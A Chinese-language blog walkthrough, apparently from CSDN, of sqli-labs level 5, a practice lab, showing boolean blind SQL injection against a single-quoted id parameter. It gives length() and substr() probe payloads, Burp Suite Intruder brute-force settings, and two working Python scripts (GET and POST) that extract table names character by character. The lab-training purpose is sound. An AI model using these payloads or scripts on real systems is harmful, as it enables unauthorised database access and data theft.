sqli-labs通关(五)

p第五关

输入?id=1,只有下面这种结果 

 试试让它报错?id=1',根据报错信息可知是单引号字符型

 输入

?id=1' --+

 但是这一关没有回显信息,输入正确就会出现以下信息,错误则会报错,说明存在布尔盲注,我们可以利用这个来进行判断

 我们输入

?id=1' and length((select database())) =1 --+

 length()函数是返回字符串的长度,先暂且猜测数据库名长度是1

 发现异常

 然后用burp suite抓包进行爆破

发送给intruder,设置攻击位置

 设置类型为数值,从1到20,步长为1

 开始攻击,8的返回长度不一样,所以猜测数据库名的长度就是8

 然后我们验证,显示正常,说明数据库名长度就是8

输入 

 ?id=1' and substr((select database()),1,1)='a'--+

函数 substr(a,b,c),a是截取的字符串 ,b是截取的位置 ,c是截取的长度

然后用burp suite爆破

添加26个字母的大小写字典 

 所以库名的一个字母是S或s

 然后就是逐个爆破后面字母,直到把8个字母的库名爆出来

接下来就是把所有表名都爆出来

这是数据库里所有表名字符串的长度和,包括字母和符号,group_concat()函数把所有表名连接起来,用逗号(,)分隔

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 --+

用burp suite爆破 从1到100

 爆破出所有表名长度和为29

 然后逐一判断29个字符分别是什么,我们也可以两个两个地爆破,然后把线程改大一点,这样爆破就快一点,如果太多的话爆破时间太久

?id=1'and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,2)='ab'--+

 设置两个攻击位置,攻击方式选择集束炸弹

 两个载荷分别选择26个字母的大小写和逗号,

 所以前两个字符是em

 安照以上的方法,分别

逐一判断字段长度

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database()))=1--+

逐一判断字段名

?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),1,2)='ab'--+

逐一判断内容长度

?id=1'and length((select group_concat(字段名) from 表名))=1--+

逐一判断内容

?id=1'and substr((select group_concat(字段名) from 表名),1,1)='a'--+

可见手工盲注的复杂程度非常大,耗时耗力

我们可以使用脚本来代替进行盲注

 get请求型盲注脚本

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://sqli.com/less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
	                (select group_concat(table_name)
                    from information_schema.tables where table_schema=database())
                ) = {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
	                substr(
		                (select group_concat(table_name)
                        from information_schema.tables where table_schema=database())
	                ,{n},1)
                ) = {r} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

 post请求型盲注脚本

import requests

# 网站路径
url = "http://sqli.com/less-5/"
# 判断长度的payload
payload_len = """a') or length(
                    (select group_concat(table_name)
                    from information_schema.tables where table_schema=database())
                )>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
                    substr(
                        (select group_concat(table_name)
                    from information_schema.tables where table_schema=database())
                    ,{l},1)
                )={n} -- a"""

# post请求参数
data= {
    "uname" : "a') or 1 -- a",
    "passwd" : "1",
    "submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
    length = 1
    while True:
        # 修改请求参数
        data["uname"] = payload_len.format(n = length)
        response = requests.post(url=url, data=data)
        # 出现此内容为登录成功
        if '../images/flag.jpg' in response.text:
            print('正在测试长度:', length)
            length += 1
        else:
            print('测试成功,长度为:', length)
            return length;

# 枚举字符
def getStr(length):
    str = ''
    # 从第一个字符开始截取
    for l in range(1, length+1):
        # 枚举字符的每一种可能性
        for n in range(32, 126):
            data["uname"] = payload_str.format(l=l, n=n)
            response = requests.post(url=url, data=data)
            if '../images/flag.jpg' in response.text:
                str += chr(n)
                print('第', l, '个字符枚举成功:',str )
                break

length = getLen(payload_len)
getStr(length)

本关是get型

 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值